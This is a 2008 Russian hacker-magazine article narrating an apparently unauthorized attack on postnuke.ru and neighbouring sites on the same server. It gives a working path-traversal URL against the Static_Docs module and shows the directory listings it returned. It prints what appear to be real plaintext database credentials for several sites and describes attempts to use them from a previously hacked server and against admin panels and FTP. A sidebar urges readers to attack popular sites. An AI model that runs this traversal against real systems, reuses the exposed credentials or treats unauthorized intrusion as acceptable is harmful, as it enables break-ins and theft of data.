Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 117, СЕНТЯБРЬ 2008 г.

В застенках PostNuke.ru: Наносим удар по Russian Postnuke Team

Леонид «R0id» Стройков (stroikov@gameland.ru)

Просматривая ежедневно десятки ресурсов, невольно выстраиваешь рейтинг наиболее распространенных бажных движков. Уныло полистав багтрак, я решил прогуляться по всем известному порталу от Russian Postnuke Teamwww.postnuke.ru. Что из этого получилось, и чем прогулка окончилась, ты узнаешь, прочитав статью.

Первое знакомство

Движки по типу «все включено» получили на просторах Сети широкое распространение. Зайдя на сайт www.postnuke.ru, я обнаружил, что в качестве движка используется PostNuke (еще бы :)). Стоит ли говорить, что версия была последней, а значит, на дыры рассчитывать не приходилось. Набрав в адресной строке www.postnuke.ru/robots.txt, я получил список запрещенных к индексации каталогов:

User-agent: *
Disallow: admin.php
Disallow: config
Disallow: header
Disallow: footer
Disallow: pntables
Disallow: referer
Disallow: /images
Disallow: /includes
Disallow: /modules/NS-
Disallow: /pnadodb
Disallow: /themes
Disallow: /pnTemp
Disallow: /docs
Disallow: /javascript

К сожалению, chmod’ы на серверы были расставлены грамотно, так что никакой дополнительной информации мне получить не удалось. Тогда я вспомнил об удобном сервисе по сбору данных из Гугла – madnet.name/tools/madss. Вбив урл атакуемого ресурса, буквально через пару секунд я лицезрел ответ:

http://postnuke.ru
IP: 91.194.77.73
ТИЦ: 550
PR: 5
Reverse DNS:
medoc.solidno.ru

Сервер:

Apache/2.0.52 (CentOS)

Запрещено к индексированию:

admin.php
config
header
footer
pntables
referer
/images
/includes
/modules/NS-
/pnadodb
/themes
/pnTemp
/docs
/javascript

Сайты на сервере(ReverseIP):

energogid.ru [83.222.23.124] [83.222.23.174]
files.postnuke.ru [91.194.77.73]
www.postnuke.ru [91.194.77.73]
www.solidno.ru [91.194.77.73]

Я безрезультатно проверил все имеющиеся ресурсы и углубился в изучение структуры и функционала www.postnuke.ru. Через некоторое время мое внимание привлек модуль Static Docs, который располагался по адресу:

http://www.postnuke.ru/index.php?module=Static_Docs&func=view

Когда я прошел по линку, передо мной оказалась директория с названием «downloads»:

http://www.postnuke.ru/index.php?module=Static_Docs&func=view&f=downloads/index.html

Взглянув на адресную строку браузера, а именно на параметр «f» и его значение, я с удивлением обнаружил, что модуль не имеет привязки к конкретному каталогу, а значит... Правильно! Я мог совершенно спокойно гулять по серверу, читая файлы и просматривая интересующие меня каталоги.

Эксплуатируем уязвимость

Первым делом я принялся искать конфиги для подключения к СУБД. Корень веб-каталога располагался в /opt/www/postnuke.ru. Сформировав запрос вида:

http://www.postnuke.ru/index.php?module=Static_Docs&func=view&f=../../../../../../../../../../../../../../opt/www/postnuke.ru

– я без труда получил листинг веб-директории сайта:

docs 4 KB Directory 05 Jun, 2005 г. - 21:39
files 4 KB Directory 16 Feb, 2005 г. - 12:45
images 4 KB Directory 05 Jun, 2005 г. - 22:17
includes 4 KB Directory 22 Dec, 2007 г. - 15:39
javascript 4 KB Directory 20 May, 2005 г. - 21:34
language 4 KB Directory 16 Aug, 2004 г. - 09:58
modules 4 KB Directory 11 Oct, 2005 г. - 20:34
pnTemp 4 KB Directory 20 May, 2005 г. - 21:22
pnadodb 4 KB Directory 15 Jan, 2006 г. - 20:14
themes 4 KB Directory 18 Jun, 2005 г. - 21:33
var 4 KB Directory 05 Jun, 2005 г. - 19:55
.htaccess 91 K Unknown 05 Jun, 2005 г. - 20:09
admin.php 4 KB Source 20 May, 2005 г. - 21:22
backend.php 6 KB Source 20 May, 2005 г. - 21:22
banners.php 16 KB Source 20 May, 2005 г. - 21:22
config-old.php 4 KB Source 20 May, 2005 г. - 21:22
config.php 4 KB Source 05 Jun, 2005 г. - 21:41
error.php 4 KB Source 20 May, 2005 г. - 21:22
favicon.ico 1 KB Unknown 15 Dec, 2004 г. - 16:08
footer.php 3 KB Source 20 May, 2005 г. - 21:22
header.php 5 KB Source 20 May, 2005 г. - 21:22
index.php 4 KB Source 18 May, 2005 г. - 18:54
mainfile.php 1 KB Source 20 May, 2005 г. - 21:22
modules.php 381 K Source 20 May, 2005 г. - 21:22
pntables.php 44 KB Source 20 May, 2005 г. - 21:22
print.php 10 KB Source 20 May, 2005 г. - 21:22
referer.php 4 KB Source 20 May, 2005 г. - 21:22
robots.txt 276 K Text 20 May, 2005 г. - 21:22
user.php

Меня заинтересовали два конфига: config.php и config-old.php. Оба представляли собой стандартные конфиги PostNuke. Прочитав первый (config.php), я добрался до заветного аккаунта к СУБД:

$pnconfig['dbtype'] = 'mysql';
$pnconfig['dbhost'] = 'localhost';
$pnconfig['dbuname'] = 'postnukeru';
$pnconfig['dbpass'] = 'ru178$500';
$pnconfig['dbname'] = 'postnukeru';
$pnconfig['system'] = '0';
$pnconfig['prefix'] = 'postnuke';
$pnconfig['encoded'] = '0';

В старой версии конфига поля логина и пароли были пустыми – непонятно, зачем его вообще хранили на сервере :).
Тем временем я уже заливал MySQL-клиент на один из поломанных ранее серверов, дабы подключиться к БД www.postnuke.ru и сделать несколько дампов баз. Однако, меня ждал облом – удаленное подключение к MySQL в моем случае было невозможным. Хотя оставалась надежда, что с другими пользователями СУБД все может быть иначе и нужно только поискать. Потратив около получаса на парсинг всевозможных каталогов на сервере, я составил список добытых аккаунтов от MySQL:

1.
define('DB_SERVER', 'localhost');
define('DB_SERVER_USERNAME', 'cosmo');
define('DB_SERVER_PASSWORD', 'xxxcosmo');
define('DB_DATABASE', 'eng');

2.
$conf->DBserver = importPost( "DBserver", "localhost" );
$conf->DBname = importPost( "DBname", "wikidb" );
$conf->DBuser = importPost( "DBuser", "wikiuser" );
$conf->DBpassword = importPost( "DBpassword" );
$conf->DBpassword2 = importPost( "DBpassword2" );
$conf->DBprefix = importPost( "DBprefix" );

3.
mysql://hobby:rt76ju89ew@localhost

4.
$db_url = 'mysql://travel:rt76ju89ew@localhost/travel';
$db_prefix = '';

5.
mysql://padebesi:irbenaju131@localhost/padebesi

В моем распоряжении появилось несколько аккаунтов. Казалось бы, сомневаться в успехе не приходилось, но MySQL-клиент раз за разом выдал сообщение об ошибке, сообщая, что удаленное подключение к СУБД на postnuke.ru невозможно. Такой расклад меня не устраивал. Я принялся искать бэкапы, которые могли бы пролить свет на админки хостящихся на сервере ресурсов. Вскоре соответствующая директория была найдена – /opt/data/BACKUP:

etc 12 KB Directory 10 Aug, 2007 г. - 04:05
etc-old 4 KB Directory 11 Aug, 2007 г. - 10:56
sql 4 KB Directory 10 Aug, 2007 г. - 21:36
etc.lst 275 K Unknown 11 Aug, 2007 г. - 11:15

Каталог с незамысловатым названием «sql» хранил в себе много вкусностей:

mysql.tgz 29 MB Unknown 10 Aug, 2007 г. - 21:35
sql-manylines.tg 23 MB Unknown 10 Aug, 2007 г. - 11:38
sql-oneline.tgz 22 MB Unknown 10 Aug, 2007 г. - 11:27

К сожалению, слить найденные бэкапы не удавалось. Бажный модуль попросту отказывался показывать их содержимое – то ли по причине отсутствия прав, то ли в результате ошибки выполнения самого модуля. Удача в этот раз явно обошла меня стороной, однако сдаваться в мои планы не входило, и я принялся осматривать веб-каталог сервера – /opt/www:

20let.solidno.ru 4 KB Directory 12 Feb, 2007 г. - 10:04
energogid.ru 4 KB Directory 21 Jul, 2008 г. - 16:32
files.postnuke.ru 4 KB Directory 31 Oct, 2005 г. - 20:50
hobby.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
padebesi.lv 4 KB Directory 13 Apr, 2008 г. - 10:46
padebesi.lv.rdr 4 KB Directory 18 Mar, 2008 г. - 21:05
pave.ru 4 KB Directory 25 Dec, 2007 г. - 21:54
postnuke.ru 4 KB Directory 22 Dec, 2007 г. - 14:58
solidno.ru 4 KB Directory 05 Aug, 2008 г. - 12:13
sosedi.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
travel.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
ua.energogid.ru 4 KB Directory 11 Jul, 2007 г. - 17:33
vino.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
vinopedia.solidno.ru 4 KB Directory 25 Dec, 2007 г. - 13:02
voll.solidno.ru 4 KB Directory 23 Jan, 2008 г. - 23:37
energogid_old_archive.tgz 78 MB Unknown 21 Jul, 2008 г. - 15:46

Можно было попробовать залогиниться в админку какого-нибудь из сайтов, использовав аккаунты от MySQL. Потратив на попытки более часа, я оставил эту затею и принялся окучивать FTP, что тоже не принесло результатов. Я вынужден был отдать должное админам и отступить... В этот раз довести начатое до конца не удалось. Почему? Об этом читай ниже.

Что помогло админам

С точки зрения безопасности, огромным плюсом оказалось ограничение в правах и в возможности удаленного подключения пользователей MySQL. Все найденные аккаунты мне попросту не понадобились. Стоит отметить, что везде использовались разные и сложные пароли. Именно поэтому так и не удалось заюзать пароли от мускула «в иных целях». Но налицо был и ряд ошибок: начиная от использования бажного модуля и заканчивая кривым разграничением прав пользователей на сервере (благодаря чему я шарил по всем необходимым каталогам). В любой бочке меда можно найти ложку дегтя – или наоборот :).

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

Info

Чем крупнее проект – тем больше вероятность наличия в нем уязвимостей. Смело бросайся грудью на амбразуру и тестируй раскрученные ресурсы.

Большим плюсом с точки зрения безопасности является ограничение в правах и в возможности удаленного подключения пользователей MySQL.

DVD

На нашем диске ты найдешь полное видео к статье. Приятного просмотра!

Содержание
ttfb: 3.957986831665 ms